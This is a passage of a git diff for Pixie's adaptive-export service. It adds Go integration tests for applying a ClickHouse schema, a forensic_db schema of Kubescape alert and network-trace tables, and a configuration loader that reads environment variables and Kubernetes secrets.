+// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +//go:build integration +// +build integration + +package clickhouse_test + +import ( + "context" + "fmt" + "io" + "net/http" + "net/url" + "os" + "strings" + "testing" + "time" + + chpkg "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse" +) + +// Live integration tests for the operator's schema-apply path. Driven +// against a real ClickHouse reachable at INTEGRATION_CH_ENDPOINT. +// Skipped if the env var is unset, so `go test` (without -tags +// integration) is unaffected. + +func envEndpoint(t *testing.T) string { + t.Helper() + e := os.Getenv("INTEGRATION_CH_ENDPOINT") + if e == "" { + t.Skip("INTEGRATION_CH_ENDPOINT not set; skipping live ClickHouse test") + } + return e +} + +func envCreds() (string, string) { + return os.Getenv("INTEGRATION_CH_USER"), os.Getenv("INTEGRATION_CH_PASSWORD") +} + +func httpExists(t *testing.T, endpoint, user, pass, table string) string { + t.Helper() + ident := table + if strings.Contains(table, ".") { + ident = "`" + table + "`" + } + q := url.Values{} + q.Set("query", fmt.Sprintf("EXISTS forensic_db.%s", ident)) + req, err := http.NewRequest(http.MethodGet, strings.TrimRight(endpoint, "/")+"/?"+q.Encode(), nil) + if err != nil { + t.Fatalf("build EXISTS req for %s: %v", table, err) + } + if user != "" { + req.SetBasicAuth(user, pass) + } + resp, err := (&http.Client{Timeout: 10 * time.Second}).Do(req) + if err != nil { + t.Fatalf("EXISTS %s: %v", table, err) + } + defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + if resp.StatusCode/100 != 2 { + t.Fatalf("EXISTS %s: HTTP %d: %s", table, resp.StatusCode, strings.TrimSpace(string(body))) + } + return strings.TrimSpace(string(body)) +} + +// TestApply_Live runs the operator's Apply() against a live ClickHouse +// and asserts every OperatorOwnedTables entry is materialised. This is +// the regression guard for the "tables never appear in clickhouse" +// class of bug — a green run here proves the embedded schema.sql is +// reachable, the DDL extractor produces valid statements, and the HTTP +// transport posts them successfully. +func TestApply_Live(t *testing.T) { + endpoint := envEndpoint(t) + user, pass := envCreds() + + a, err := chpkg.NewApplier(endpoint, user, pass) + if err != nil { + t.Fatalf("NewApplier: %v", err) + } + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + if err := a.Apply(ctx); err != nil { + t.Fatalf("Apply: %v", err) + } + + // Every operator-owned table must EXIST. + for _, table := range chpkg.OperatorOwnedTables { + got := httpExists(t, endpoint, user, pass, table) + if got != "1" { + t.Errorf("table forensic_db.%s: EXISTS=%q, want 1", table, got) + } + } +} + +// TestApply_Idempotent runs Apply() twice and asserts the second pass +// is a no-op (CREATE TABLE IF NOT EXISTS semantics on every statement). +func TestApply_Idempotent(t *testing.T) { + endpoint := envEndpoint(t) + user, pass := envCreds() + a, err := chpkg.NewApplier(endpoint, user, pass) + if err != nil { + t.Fatal(err) + } + // Separate contexts per Apply — sharing one 60s budget across both + // calls makes Apply #2 occasionally fail with context.DeadlineExceeded + // when the live cluster is slow, masking the idempotency property. + ctx1, cancel1 := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel1() + if err := a.Apply(ctx1); err != nil { + t.Fatalf("Apply #1: %v", err) + } + ctx2, cancel2 := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel2() + if err := a.Apply(ctx2); err != nil { + t.Fatalf("Apply #2 (should be idempotent): %v", err) + } +} + +// TestVerifyPixieSchema_Live runs the post-Apply guard against the +// live cluster. Required pixie columns (namespace, pod, hostname, time_) +// must be present on every pixie observation table. +func TestVerifyPixieSchema_Live(t *testing.T) { + endpoint := envEndpoint(t) + user, pass := envCreds() + + a, err := chpkg.NewApplier(endpoint, user, pass) + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + // Apply first so the test is order-independent w.r.t. TestApply_Live. + if err := a.Apply(ctx); err != nil { + t.Fatalf("Apply (precondition): %v", err) + } + if err := a.VerifyPixieSchema(ctx); err != nil { + t.Fatalf("VerifyPixieSchema: %v", err) + } +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql new file mode 100644 index 00000000000..07a608a0fbf --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql @@ -0,0 +1,456 @@ +-- Forensic SOC ClickHouse schema (adaptive-write feature, design rev 2) +-- ---------------------------------------------------------------------- +-- Pixie type map (PixieTypeToClickHouseType): +-- TIME64NS → DateTime64(9), except event_time → DateTime64(3) +-- INT64 → Int64 | FLOAT64 → Float64 | STRING → String +-- BOOLEAN → UInt8 | UINT128 → String +-- Pixie's retention plugin adds: hostname String, event_time DateTime64(3) +-- We add: namespace String, pod String (used by adaptive_attribution JOINs). +-- +-- Engine convention for pixie observation tables: +-- ENGINE = MergeTree() +-- PARTITION BY toYYYYMM(event_time) +-- ORDER BY (hostname, event_time) +-- +-- The hash IS NOT stored on pixie observation rows. Attribution is via JOIN +-- against forensic_db.adaptive_attribution on (hostname, namespace, pod, time_). +-- See the adaptive_attribution definition at the bottom of this file. + +CREATE DATABASE IF NOT EXISTS forensic_db; + +-- Kubescape alerts (Vector kubescape_to_alerts sink, unchanged). +CREATE TABLE IF NOT EXISTS forensic_db.alerts ( + timestamp DateTime64(3), + ingest_time DateTime64(3) DEFAULT now64(3), + rule_id LowCardinality(String), + alert_name LowCardinality(String), + severity UInt8, + unique_id String, + cluster_name LowCardinality(String), + namespace LowCardinality(String), + pod_name String, + container_name LowCardinality(String), + container_id String, + workload_name LowCardinality(String), + workload_kind LowCardinality(String), + image LowCardinality(String), + infected_pid UInt32, + process_name LowCardinality(String), + process_cmdline String, + message String, + raw_event String +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(timestamp) + ORDER BY (timestamp, severity, namespace, rule_id) + TTL toDateTime(timestamp) + INTERVAL 90 DAY DELETE + SETTINGS index_granularity = 8192, ttl_only_drop_parts = 1; + +-- Kubescape raw logs — Vector kubescape_enrich sink writes here, the operator's +-- trigger reads it. anomaly_hash column kept here as DEFAULT '' for backwards +-- compat with any existing Vector pipeline that already populates it; the +-- operator does not depend on it being non-empty. +CREATE TABLE IF NOT EXISTS forensic_db.kubescape_logs ( + BaseRuntimeMetadata String, + CloudMetadata String, + RuleID String, + RuntimeK8sDetails String, + RuntimeProcessDetails String, + event String, + event_time UInt64, + hostname String, + level String DEFAULT '', + message String DEFAULT '', + msg String DEFAULT '', + processtree_depth String DEFAULT '', + anomaly_hash String DEFAULT '' +) ENGINE = MergeTree() + ORDER BY (event_time, hostname) + PARTITION BY toYYYYMM(toDateTime(event_time)) + TTL toDateTime(event_time) + INTERVAL 30 DAY DELETE + SETTINGS index_granularity = 8192; + +-- ============================================================================ +-- 12 Pixie socket_tracer tables — strongly predefined, namespace + pod added. +-- The retention scripts (PxL, user-defined or shipped defaults) MUST populate +-- namespace + pod via px.upid_to_namespace / px.upid_to_pod_name. +-- ============================================================================ + +-- http_events — pixie/src/stirling/source_connectors/socket_tracer/http_table.h +CREATE TABLE IF NOT EXISTS forensic_db.http_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + major_version Int64, + minor_version Int64, + content_type Int64, + req_headers String, + req_method String, + req_path String, + req_body String, + req_body_size Int64, + resp_headers String, + resp_status Int64, + resp_message String, + resp_body String, + resp_body_size Int64, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- http2_messages.beta — http2_messages_table.h +CREATE TABLE IF NOT EXISTS forensic_db.`http2_messages.beta` ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + stream_id Int64, + headers String, + body String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- dns_events — dns_table.h +CREATE TABLE IF NOT EXISTS forensic_db.dns_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_header String, + req_body String, + resp_header String, + resp_body String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- redis_events — redis_table.h +CREATE TABLE IF NOT EXISTS forensic_db.redis_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_cmd String, + req_args String, + resp String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- mysql_events — mysql_table.h +CREATE TABLE IF NOT EXISTS forensic_db.mysql_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_cmd Int64, + req_body String, + resp_status Int64, + resp_body String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- pgsql_events — pgsql_table.h +CREATE TABLE IF NOT EXISTS forensic_db.pgsql_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req String, + resp String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- cql_events — cass_table.h +CREATE TABLE IF NOT EXISTS forensic_db.cql_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_op Int64, + req_body String, + resp_op Int64, + resp_body String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- mongodb_events — mongodb_table.h +CREATE TABLE IF NOT EXISTS forensic_db.mongodb_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_cmd String, + req_body String, + resp_status String, + resp_body String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- kafka_events.beta — kafka_table.h +CREATE TABLE IF NOT EXISTS forensic_db.`kafka_events.beta` ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_cmd Int64, + client_id String, + req_body String, + resp String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- amqp_events — amqp_table.h +CREATE TABLE IF NOT EXISTS forensic_db.amqp_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + frame_type Int64, + channel Int64, + method String, + payload String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- mux_events — mux_table.h +CREATE TABLE IF NOT EXISTS forensic_db.mux_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + trace_role Int64, + encrypted UInt8, + req_type Int64, + req String, + resp String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- tls_events — tls_table.h +CREATE TABLE IF NOT EXISTS forensic_db.tls_events ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + local_addr String, + local_port Int64, + version Int64, + content_type Int64, + handshake String, + latency Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- conn_stats — conn_stats_table.h +-- Connection-level statistics (open/close/active counters + bytes_sent/recv + +-- protocol/ssl). Re-added to the rev-2 schema so the +-- adaptive_export retention scripts can persist it. local_addr/local_port are +-- intentionally absent — the pixie kConnStatsElements set carries only +-- remote_addr/remote_port (the connection is identified by the local upid + +-- the remote tuple). Counters are MERGEd by ClickHouse over the (hostname, +-- event_time) order; no aggregating engine because each retention-script +-- pull is a discrete snapshot row. +CREATE TABLE IF NOT EXISTS forensic_db.conn_stats ( + time_ DateTime64(9, 'UTC'), + upid String, + namespace String, + pod String, + remote_addr String, + remote_port Int64, + trace_role Int64, + addr_family Int64, + protocol Int64, + ssl UInt8, + conn_open Int64, + conn_close Int64, + conn_active Int64, + bytes_sent Int64, + bytes_recv Int64, + hostname String, + event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3) +) ENGINE = MergeTree() + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time); + +-- ============================================================================ +-- adaptive_attribution — operator's only write target in ClickHouse. +-- +-- One row per active anomaly hash per node. The operator inserts one row +-- per arriving kubescape_log on its node. ReplacingMergeTree(t_end) collapses +-- re-inserts to the row with the largest t_end — so each fresh anomaly with +-- the same hash extends the active window automatically; stale rows merge +-- away. +-- +-- Analyst joins: +-- +-- SELECT he.*, attr.anomaly_hash +-- FROM forensic_db.http_events he +-- ASOF INNER JOIN forensic_db.adaptive_attribution attr +-- ON he.hostname = attr.hostname +-- AND he.namespace = attr.namespace +-- AND he.pod = attr.pod +-- AND he.time_ >= attr.t_start +-- WHERE he.time_ <= attr.t_end +-- AND attr.anomaly_hash = ''; +-- +-- Boot-time rehydration of the operator's in-memory active set: +-- +-- SELECT * FROM forensic_db.adaptive_attribution FINAL +-- WHERE hostname = '' AND t_end > now64(9); +-- +-- DateTime64(9, 'UTC') — pin tz so bare-string serialization is +-- unambiguous; without it, CH parses incoming timestamps in the +-- server-session timezone and silently shifts values on non-UTC hosts. +-- ============================================================================ +CREATE TABLE IF NOT EXISTS forensic_db.adaptive_attribution ( + anomaly_hash String, + namespace String, + pod String, + comm String, + pid UInt64, + hostname String, + t_start DateTime64(9, 'UTC'), + t_end DateTime64(9, 'UTC'), + last_seen DateTime64(9, 'UTC'), + last_rule_id String, + n_anomalies UInt64 +) ENGINE = ReplacingMergeTree(t_end) + PARTITION BY toYYYYMM(t_start) + ORDER BY (hostname, anomaly_hash); + +-- ============================================================================ +-- trigger_watermark — persistent cursor for the kubescape_logs trigger. +-- +-- Per node, per source-table. The operator advances the row's `watermark` +-- (UInt64 event_time, ns) every time it successfully drains a batch of +-- kubescape rows. On restart it reads the row back and resumes from there +-- instead of replaying the full table from event_time=0 (which, on a busy +-- cluster, produces multi-GiB single-shot SELECTs that the HTTP client +-- times out on, never advancing → infinite stuck loop). +-- +-- ReplacingMergeTree(updated_at) collapses re-inserts to the newest, so +-- the operator can INSERT cheaply without bothering with UPDATE +-- semantics. Reads use FINAL — cheap because cardinality is one row per +-- (hostname, table_name). +-- +-- This is the operator's second write target alongside adaptive_attribution. +-- ============================================================================ +CREATE TABLE IF NOT EXISTS forensic_db.trigger_watermark ( + hostname String, + table_name String, + watermark UInt64, + updated_at DateTime64(9, 'UTC') +) ENGINE = ReplacingMergeTree(updated_at) + PARTITION BY hostname + ORDER BY (hostname, table_name); diff --git a/src/vizier/services/adaptive_export/internal/config/BUILD.bazel b/src/vizier/services/adaptive_export/internal/config/BUILD.bazel new file mode 100644 index 00000000000..393e71fe298 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/config/BUILD.bazel @@ -0,0 +1,31 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") + +go_library( + name = "config", + srcs = ["config.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/config", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/utils/shared/k8s", + "@com_github_sirupsen_logrus//:logrus", + "@io_k8s_apimachinery//pkg/apis/meta/v1:meta", + "@io_k8s_client_go//kubernetes", + "@io_k8s_client_go//rest", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/config/config.go b/src/vizier/services/adaptive_export/internal/config/config.go new file mode 100644 index 00000000000..7c518513d9a --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/config/config.go @@ -0,0 +1,535 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package config + +import ( + "context" + "fmt" + "os" + "strconv" + "strings" + "sync" + + log "github.com/sirupsen/logrus" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/client-go/kubernetes" + "k8s.io/client-go/rest" + + "px.dev/pixie/src/utils/shared/k8s" +) + +const ( + envVerbose = "VERBOSE" + envClickHouseDSN = "CLICKHOUSE_DSN" + envClickHouseHost = "CLICKHOUSE_HOST" + envClickHousePort = "CLICKHOUSE_PORT" + envClickHouseUser = "CLICKHOUSE_USER" + envClickHousePass = "CLICKHOUSE_PASSWORD" + envClickHouseDB = "CLICKHOUSE_DATABASE" + envKubescapeTable = "KUBESCAPE_TABLE" + envPixieClusterID = "PIXIE_CLUSTER_ID" + envPixieEndpoint = "PIXIE_ENDPOINT" + envPixieAPIKey = "PIXIE_API_KEY" + envClusterName = "CLUSTER_NAME" + envCollectInterval = "COLLECT_INTERVAL_SEC" + envDetectionInterval = "DETECTION_INTERVAL_SEC" + envDetectionLookback = "DETECTION_LOOKBACK_SEC" + envExportMode = "EXPORT_MODE" + envExportQuietTicks = "EXPORT_QUIET_TICKS" + defPixieHostname = "work.pixie.austrianopencloudcommunity.org:443" + defClickHousePort = "9000" + defKubescapeTable = "kubescape_logs" + defExportMode = "auto" + defExportQuietTicks = 6 + boolTrue = "true" + defCollectInterval = 30 + defDetectionInterval = 10 + defDetectionLookback = 15 +) + +// ExportMode values. +const ( + ExportModeAuto = "auto" + ExportModeAlways = "always" + ExportModeNever = "never" +) + +var ( + integrationVersion = "0.0.0" + gitCommit = "" + buildDate = "" + once sync.Once + instance Config +) + +// findVizierNamespace looks for the namespace that the vizier is running in. +func findVizierNamespace(clientset *kubernetes.Clientset) (string, error) { + vzPods, err := clientset.CoreV1().Pods("").List(context.Background(), metav1.ListOptions{ + LabelSelector: "component=vizier", + }) + if err != nil { + return "", err + } + + if len(vzPods.Items) == 0 { + return "", fmt.Errorf("no vizier pods found") + } + + return vzPods.Items[0].Namespace, nil +} + +// getK8sConfig attempts to read configuration from Kubernetes secrets and configmaps. +// Returns (clusterID, apiKey, clusterName, host, error). +func getK8sConfig() (string, string, string, string, error) { + // Try in-cluster config first (when running in K8s) + config, err := rest.InClusterConfig() + if err != nil { + log.WithError(err).Debug("In-cluster config not available, trying kubeconfig...") + // Fall back to kubeconfig for local/adhoc testing + config = k8s.GetConfig() + if config == nil { + return "", "", "", "", fmt.Errorf("unable to get kubernetes config") + } + } else { + log.Debug("Using in-cluster Kubernetes config") + } + + clientset, err := kubernetes.NewForConfig(config) + if err != nil { + return "", "", "", "", fmt.Errorf("unable to create kubernetes clientset: %w", err) + } + + vzNs, err := findVizierNamespace(clientset) + if err != nil || vzNs == "" { + return "", "", "", "", fmt.Errorf("unable to find vizier namespace: %w", err) + } + + // Get cluster-id and cluster-name from pl-cluster-secrets + clusterSecrets := k8s.GetSecret(clientset, vzNs, "pl-cluster-secrets") + if clusterSecrets == nil { + return "", "", "", "", fmt.Errorf("unable to get pl-cluster-secrets") + } + + clusterID := "" + if cID, ok := clusterSecrets.Data["cluster-id"]; ok { + clusterID = string(cID) + } + + clusterName := "" + if cn, ok := clusterSecrets.Data["cluster-name"]; ok { + clusterName = string(cn) + } + + // Note: pl-deploy-secrets contains the deployment key (for registering vizier), + // not the user API key (for accessing cloud APIs). The user API key must be + // provided via PIXIE_API_KEY environment variable. + apiKey := "" + + // Get PL_CLOUD_ADDR from pl-cloud-config + cloudConfig, err := clientset.CoreV1().ConfigMaps(vzNs).Get(context.Background(), "pl-cloud-config", metav1.GetOptions{}) + host := "" + if err == nil { + if addr, ok := cloudConfig.Data["PL_CLOUD_ADDR"]; ok { + host = addr + } + } + + return clusterID, apiKey, clusterName, host, nil +} + +func GetConfig() (Config, error) { + var err error + once.Do(func() { + err = setUpConfig() + }) + return instance, err +} + +func setUpConfig() error { + log.SetLevel(log.InfoLevel) + + // Try to read configuration from environment variables first + clickhouseDSN := os.Getenv(envClickHouseDSN) + pixieClusterID := os.Getenv(envPixieClusterID) + pixieAPIKey := os.Getenv(envPixieAPIKey) + clusterName := os.Getenv(envClusterName) + pixieHost := getEnvWithDefault(envPixieEndpoint, defPixieHostname) + enableDebug := os.Getenv(envVerbose) + + if strings.EqualFold(enableDebug, boolTrue) { + log.SetLevel(log.DebugLevel) + } + + log.Debugf("Config from environment - ClickHouse DSN: %s", clickhouseDSN) + log.Debugf("Config from environment - Pixie Cluster ID: %s", pixieClusterID) + log.Debugf("Config from environment - Pixie API Key: %s", pixieAPIKey) + log.Debugf("Config from environment - Cluster Name: %s", clusterName) + log.Debugf("Config from environment - Pixie Host: %s", pixieHost) + + // If key values are not set via environment, try reading from Kubernetes + // Note: API key cannot be read from K8s (only deployment key is there), must be provided via env + if pixieClusterID == "" || clusterName == "" || pixieHost == defPixieHostname { + log.Info("Attempting to read Pixie configuration from Kubernetes resources...") + k8sClusterID, _, k8sClusterName, k8sHost, err := getK8sConfig() + if err != nil { + log.WithError(err).Warn("Failed to read configuration from Kubernetes, will use environment variables only") + } else { + // Use k8s values only if env vars are not set + if pixieClusterID == "" { + pixieClusterID = k8sClusterID + log.Debugf("Using cluster ID from Kubernetes: %s", pixieClusterID) + } + if clusterName == "" { + clusterName = k8sClusterName + log.Debugf("Using cluster name from Kubernetes: %s", clusterName) + } + if pixieHost == defPixieHostname && k8sHost != "" { + pixieHost = k8sHost + log.Debugf("Using host from Kubernetes: %s", pixieHost) + } + } + } + + log.Debugf("Final config - Pixie Cluster ID: %s", pixieClusterID) + log.Debugf("Final config - Pixie API Key: %s", pixieAPIKey) + log.Debugf("Final config - Cluster Name: %s", clusterName) + log.Debugf("Final config - Pixie Host: %s", pixieHost) + log.Debugf("Final config - ClickHouse DSN: %s", clickhouseDSN) + + collectInterval, err := getIntEnvWithDefault(envCollectInterval, defCollectInterval) + if err != nil { + return err + } + + detectionInterval, err := getIntEnvWithDefault(envDetectionInterval, defDetectionInterval) + if err != nil { + return err + } + + detectionLookback, err := getIntEnvWithDefault(envDetectionLookback, defDetectionLookback) + if err != nil { + return err + } + + exportQuietTicks, err := getIntEnvWithDefault(envExportQuietTicks, defExportQuietTicks) + if err != nil { + return err + } + + exportMode := strings.ToLower(getEnvWithDefault(envExportMode, defExportMode)) + switch exportMode { + case ExportModeAuto, ExportModeAlways, ExportModeNever: + default: + return fmt.Errorf("invalid %s=%q (must be auto|always|never)", envExportMode, exportMode) + } + + // Parse the DSN into its parts; individual env vars override the parsed values. + dsnHost, dsnPort, dsnUser, dsnPass, dsnDB := parseDSN(clickhouseDSN) + chHost := getEnvWithDefault(envClickHouseHost, dsnHost) + chPort := getEnvWithDefault(envClickHousePort, firstNonEmpty(dsnPort, defClickHousePort)) + chUser := getEnvWithDefault(envClickHouseUser, dsnUser) + chPass := getEnvWithDefault(envClickHousePass, dsnPass) + chDB := getEnvWithDefault(envClickHouseDB, dsnDB) + chTable := getEnvWithDefault(envKubescapeTable, defKubescapeTable) + + // If individual fields were provided but CLICKHOUSE_DSN was not, build one. + if clickhouseDSN == "" && chHost != "" && chUser != "" { + clickhouseDSN = fmt.Sprintf("%s:%s@%s:%s/%s", chUser, chPass, chHost, chPort, chDB) + } + + instance = &config{ + settings: &settings{ + buildDate: buildDate, + commit: gitCommit, + version: integrationVersion, + }, + worker: &worker{ + clusterName: clusterName, + pixieClusterID: pixieClusterID, + collectInterval: collectInterval, + detectionInterval: detectionInterval, + detectionLookback: detectionLookback, + exportMode: exportMode, + exportQuietTicks: exportQuietTicks, + }, + clickhouse: &clickhouse{ + dsn: clickhouseDSN, + host: chHost, + port: chPort, + user: chUser, + password: chPass, + database: chDB, + table: chTable, + userAgent: "pixie-clickhouse/" + integrationVersion, + }, + pixie: &pixie{ + apiKey: pixieAPIKey, + clusterID: pixieClusterID, + host: pixieHost, + }, + } + return instance.validate() +} + +// parseDSN best-effort splits `user:pass@host:port/db`. Missing parts come back empty. +func parseDSN(dsn string) (string, string, string, string, string) { + if dsn == "" { + return "", "", "", "", "" + } + at := strings.LastIndex(dsn, "@") + if at < 0 { + return "", "", "", "", "" + } + creds := dsn[:at] + rest := dsn[at+1:] + + var user, pass string + if i := strings.Index(creds, ":"); i >= 0 { + user = creds[:i] + pass = creds[i+1:] + } else { + user = creds + } + + var db string + if i := strings.Index(rest, "/"); i >= 0 { + db = rest[i+1:] + rest = rest[:i] + } + var host, port string + if i := strings.Index(rest, ":"); i >= 0 { + host = rest[:i] + port = rest[i+1:] + } else { + host = rest + } + return host, port, user, pass, db +} + +func firstNonEmpty(vals ...string) string { + for _, v := range vals { + if v != "" { + return v + } + } + return "" +} + +func getEnvWithDefault(key, defaultValue string) string { + value := os.Getenv(key) + if value == "" { + return defaultValue + } + return value +} + +func getIntEnvWithDefault(key string, defaultValue int64) (int64, error) { + value := os.Getenv(key) + if value == "" { + return defaultValue, nil + } + i, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return 0, fmt.Errorf("Environment variable %s is not an integer.", key) + } + return i, nil +} + +type Config interface { + Verbose() bool + Settings() Settings + ClickHouse() ClickHouse + Pixie() Pixie + Worker() Worker + validate() error +} + +type config struct { + verbose bool + worker Worker + clickhouse ClickHouse + pixie Pixie + settings Settings +} + +func (c *config) validate() error { + if err := c.Pixie().validate(); err != nil { + return fmt.Errorf("error validating pixie config: %w", err) + } + if err := c.Worker().validate(); err != nil { + return fmt.Errorf("error validating worker config: %w", err) + } + return c.ClickHouse().validate() +} + +func (c *config) Settings() Settings { + return c.settings +} + +func (c *config) Verbose() bool { + return c.verbose +} + +func (c *config) ClickHouse() ClickHouse { + return c.clickhouse +} + +func (c *config) Worker() Worker { + return c.worker +} + +func (c *config) Pixie() Pixie { + return c.pixie +} + +type Settings interface { + Version() string + Commit() string + BuildDate() string +} + +type settings struct { + buildDate string + commit string + version string +} + +func (s *settings) Version() string { + return s.version +} + +func (s *settings) Commit() string { + return s.commit +} + +func (s *settings) BuildDate() string { + return s.buildDate +} + +type ClickHouse interface { + DSN() string + Host() string + Port() string + User() string + Password() string + Database() string + Table() string + UserAgent() string + validate() error +} + +type clickhouse struct { + dsn string + host string + port string + user string + password string + database string + table string + userAgent string +} + +func (c *clickhouse) validate() error { + if c.dsn == "" { + return fmt.Errorf("missing required env variable '%s' (or provide %s/%s/%s/%s/%s)", + envClickHouseDSN, envClickHouseHost, envClickHousePort, envClickHouseUser, envClickHousePass, envClickHouseDB) + } + if c.host == "" || c.user == "" || c.database == "" { + return fmt.Errorf("ClickHouse host/user/database could not be derived from %s=%q", envClickHouseDSN, c.dsn) + } + return nil +} + +func (c *clickhouse) DSN() string { return c.dsn } +func (c *clickhouse) Host() string { return c.host } +func (c *clickhouse) Port() string { return c.port } +func (c *clickhouse) User() string { return c.user } +func (c *clickhouse) Password() string { return c.password } +func (c *clickhouse) Database() string { return c.database } +func (c *clickhouse) Table() string { return c.table } +func (c *clickhouse) UserAgent() 